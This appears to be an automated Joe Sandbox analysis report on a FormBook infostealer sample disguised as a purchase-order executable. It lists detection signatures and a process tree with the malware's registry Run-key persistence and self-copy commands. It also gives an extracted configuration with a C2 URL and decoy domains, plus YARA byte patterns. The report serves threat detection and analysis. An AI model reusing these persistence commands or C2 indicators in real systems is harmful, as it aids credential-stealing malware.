Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
New PO 796512.exe

Overview

General Information

Sample name:New PO 796512.exe
Analysis ID:1560297
MD5:223b42adc2e6eeb342664ffa633c3a6a
SHA1:00612d9ce02cde93cd73eebcbee0deece4da3f8f
SHA256:68c3605100b20d0e04a069565f5ce7f6f55b7546f52dcf22328e3a321637e361
Tags:exeuser-threatcat_ch
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Drops PE files to the document folder of the user
Drops PE files with a suspicious file extension
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Uses cmd line tools excessively to alter registry or file data
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

Process Tree

  • System is w10x64
  • New PO 796512.exe (PID: 4072 cmdline: "C:\Users\user\Desktop\New PO 796512.exe" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
    • cmd.exe (PID: 7484 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • reg.exe (PID: 7536 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • cmd.exe (PID: 7560 cmdline: cmd /c Copy "C:\Users\user\Desktop\New PO 796512.exe" "C:\Users\user\Documents\New PO 796512.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • New PO 796512.exe (PID: 7656 cmdline: "C:\Users\user\Desktop\New PO 796512.exe" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
      • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • autoconv.exe (PID: 7712 cmdline: "C:\Windows\SysWOW64\autoconv.exe" MD5: A705C2ACED7DDB71AFB87C4ED384BED6)
        • msdt.exe (PID: 7736 cmdline: "C:\Windows\SysWOW64\msdt.exe" MD5: BAA4458E429E7C906560FE4541ADFCFB)
          • cmd.exe (PID: 7808 cmdline: /c del "C:\Users\user\Desktop\New PO 796512.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • New PO 796512.pif (PID: 7872 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 8032 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 8080 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 8116 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • New PO 796512.pif (PID: 8176 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • New PO 796512.pif (PID: 8188 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
        • New PO 796512.pif (PID: 5980 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 7544 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 7448 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 7612 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif" "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • New PO 796512.pif (PID: 2936 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • New PO 796512.pif (PID: 7104 cmdline: "C:\Users\user\Documents\New PO 796512.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
        • cmd.exe (PID: 4048 cmdline: "C:\Windows\SysWOW64\cmd.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • New PO 796512.pif.pif (PID: 5060 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 576 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 1156 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 1624 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 1504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • New PO 796512.pif.pif (PID: 2040 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
        • msiexec.exe (PID: 6700 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)
        • cmd.exe (PID: 1860 cmdline: "C:\Windows\SysWOW64\cmd.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • New PO 796512.pif.pif (PID: 1964 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 4260 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 3312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 3084 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 5992 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 4900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • New PO 796512.pif.pif (PID: 7828 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • New PO 796512.pif.pif (PID: 7820 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
        • New PO 796512.pif.pif.pif (PID: 6208 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 5144 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 5392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 7972 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 8012 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • New PO 796512.pif.pif.pif (PID: 8060 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • New PO 796512.pif.pif.pif (PID: 8040 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • New PO 796512.pif.pif.pif (PID: 8100 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
        • msdt.exe (PID: 7852 cmdline: "C:\Windows\SysWOW64\msdt.exe" MD5: BAA4458E429E7C906560FE4541ADFCFB)
        • mstsc.exe (PID: 8120 cmdline: "C:\Windows\SysWOW64\mstsc.exe" MD5: EA4A02BE14C405327EEBA8D9AD2BD42C)
        • New PO 796512.pif.pif.pif (PID: 8116 cmdline: "C:\Users\user\Documents\New PO 796512.pif.pif.pif" MD5: 223B42ADC2E6EEB342664FFA633C3A6A)
          • cmd.exe (PID: 2436 cmdline: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • reg.exe (PID: 2312 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512.pif.pif.pif" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
          • cmd.exe (PID: 1368 cmdline: cmd /c Copy "C:\Users\user\Documents\New PO 796512.pif.pif.pif" "C:\Users\user\Documents\New PO 796512.pif.pif.pif.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • Conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.hronika.fun/o62s/"], "decoy": ["lectrobay.shop", "enisehirarnavutkoy.xyz", "itoolz.net", "otorcycle-loans-40378.bond", "opjobsinusa.today", "uara228j.shop", "ukulbagus10.click", "enhealth07.shop", "cpoker.pro", "ome-remodeling-16949.bond", "andu.shop", "hubbychicocharmqs.shop", "onghi292.top", "ussines-web-creators.net", "alenspencer.online", "ryptogigt.top", "epiyiisigorta.online", "ental-implants-77717.bond", "juta.click", "enisehirevleriarnavutkoy.xyz", "pertforces.store", "kdse.boutique", "uccessfulproduct.shop", "newrist.online", "2045.pictures", "epid.dev", "oxo.net", "utivme.info", "arehouse-inventory-65114.bond", "axiquynhongiare.asia", "etooclaim.store", "heterraceongregory.store", "orldwise-admission.online", "outenbox.shop", "kipoxz.xyz", "iperliteratura.online", "hoccyboxy.dev", "iicf72105.vip", "regnancy-10606.bond", "dambelardino.net", "oans-credits-55622.bond", "zprintbox.store", "3sejzs3.sbs", "fi-group.world", "iveworks.xyz", "gtg.store", "4mn.info", "aliente.kaufen", "ottostar.motorcycles", "oker99-ms.christmas", "p595.top", "artmartuqsa.shop", "infundcadastro.site", "merp.link", "irclemedia.shop", "ind.expert", "mitrywedkam.online", "opcharlottesydimby.shop", "mmamartin.info", "uikstudy.sbs", "estpro.group", "card.yachts", "mazoui.fun", "ooktonook.online"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000E.00000002.2554228536.00000000109A6000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_772cc62dunknownunknown
  • 0xad2:$a2: pass
  • 0xad8:$a3: email
  • 0xadf:$a4: login
  • 0xae6:$a5: signin
  • 0xaf7:$a6: persistent
  • 0xcca:$r1: C:\Users\user\AppData\Roaming\293R94PV\293log.ini
0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 64 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      13.2.New PO 796512.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        13.2.New PO 796512.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          13.2.New PO 796512.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x5451:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          13.2.New PO 796512.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          13.2.New PO 796512.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x17a09:$sqlite3step: 68 34 1C 7B E1
          • 0x17b1c:$sqlite3step: 68 34 1C 7B E1
          • 0x17a38:$sqlite3text: 68 38 2A 90 C5
          • 0x17b5d:$sqlite3text: 68 38 2A 90 C5
          • 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 5 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: CurrentVersion Autorun Keys Modification
          Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Documents\New PO 796512.pif, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7536, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\New PO 796512
          Sigma detected: Direct Autorun Keys Modification
          Source: Process startedAuthor: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7484, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", ProcessId: 7536, ProcessName: reg.exe
          Sigma detected: Execution of Suspicious File Type Extension
          Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\Documents\New PO 796512.pif" , CommandLine: "C:\Users\user\Documents\New PO 796512.pif" , CommandLine|base64offset|contains: <, Image: C:\Users\user\Documents\New PO 796512.pif, NewProcessName: C:\Users\user\Documents\New PO 796512.pif, OriginalFileName: C:\Users\user\Documents\New PO 796512.pif, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 4056, ParentProcessName: explorer.exe, ProcessCommandLine: "C:\Users\user\Documents\New PO 796512.pif" , ProcessId: 7872, ProcessName: New PO 796512.pif
          Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", CommandLine: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\New PO 796512.exe", ParentImage: C:\Users\user\Desktop\New PO 796512.exe, ParentProcessId: 4072, ParentProcessName: New PO 796512.exe, ProcessCommandLine: cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif", ProcessId: 7484, ProcessName: cmd.exe

          Suricata Signatures

          ⊘No Suricata rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Found malware configuration
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.hronika.fun/o62s/"], "decoy": ["lectrobay.shop", "enisehirarnavutkoy.xyz", "itoolz.net", "otorcycle-loans-40378.bond", "opjobsinusa.today", "uara228j.shop", "ukulbagus10.click", "enhealth07.shop", "cpoker.pro", "ome-remodeling-16949.bond", "andu.shop", "hubbychicocharmqs.shop", "onghi292.top", "ussines-web-creators.net", "alenspencer.online", "ryptogigt.top", "epiyiisigorta.online", "ental-implants-77717.bond", "juta.click", "enisehirevleriarnavutkoy.xyz", "pertforces.store", "kdse.boutique", "uccessfulproduct.shop", "newrist.online", "2045.pictures", "epid.dev", "oxo.net", "utivme.info", "arehouse-inventory-65114.bond", "axiquynhongiare.asia", "etooclaim.store", "heterraceongregory.store", "orldwise-admission.online", "outenbox.shop", "kipoxz.xyz", "iperliteratura.online", "hoccyboxy.dev", "iicf72105.vip", "regnancy-10606.bond", "dambelardino.net", "oans-credits-55622.bond", "zprintbox.store", "3sejzs3.sbs", "fi-group.world", "iveworks.xyz", "gtg.store", "4mn.info", "aliente.kaufen", "ottostar.motorcycles", "oker99-ms.christmas", "p595.top", "artmartuqsa.shop", "infundcadastro.site", "merp.link", "irclemedia.shop", "ind.expert", "mitrywedkam.online", "opcharlottesydimby.shop", "mmamartin.info", "uikstudy.sbs", "estpro.group", "card.yachts", "mazoui.fun", "ooktonook.online"]}
          Multi AV Scanner detection for dropped file
          Source: C:\Users\user\Documents\New PO 796512.pifReversingLabs: Detection: 18%
          Source: C:\Users\user\Documents\New PO 796512.pif.pifReversingLabs: Detection: 18%
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifReversingLabs: Detection: 18%
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif.pifReversingLabs: Detection: 18%
          Multi AV Scanner detection for submitted file
          Source: New PO 796512.exeReversingLabs: Detection: 18%
          Yara detected FormBook
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for dropped file
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pif.pifJoe Sandbox ML: detected
          Source: C:\Users\user\Documents\New PO 796512.pif.pifJoe Sandbox ML: detected
          Source: C:\Users\user\Documents\New PO 796512.pifJoe Sandbox ML: detected
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifJoe Sandbox ML: detected
          Machine Learning detection for sample
          Source: New PO 796512.exeJoe Sandbox ML: detected
          Source: New PO 796512.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49699 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 66.29.153.238:443 -> 192.168.2.7:49723 version: TLS 1.2
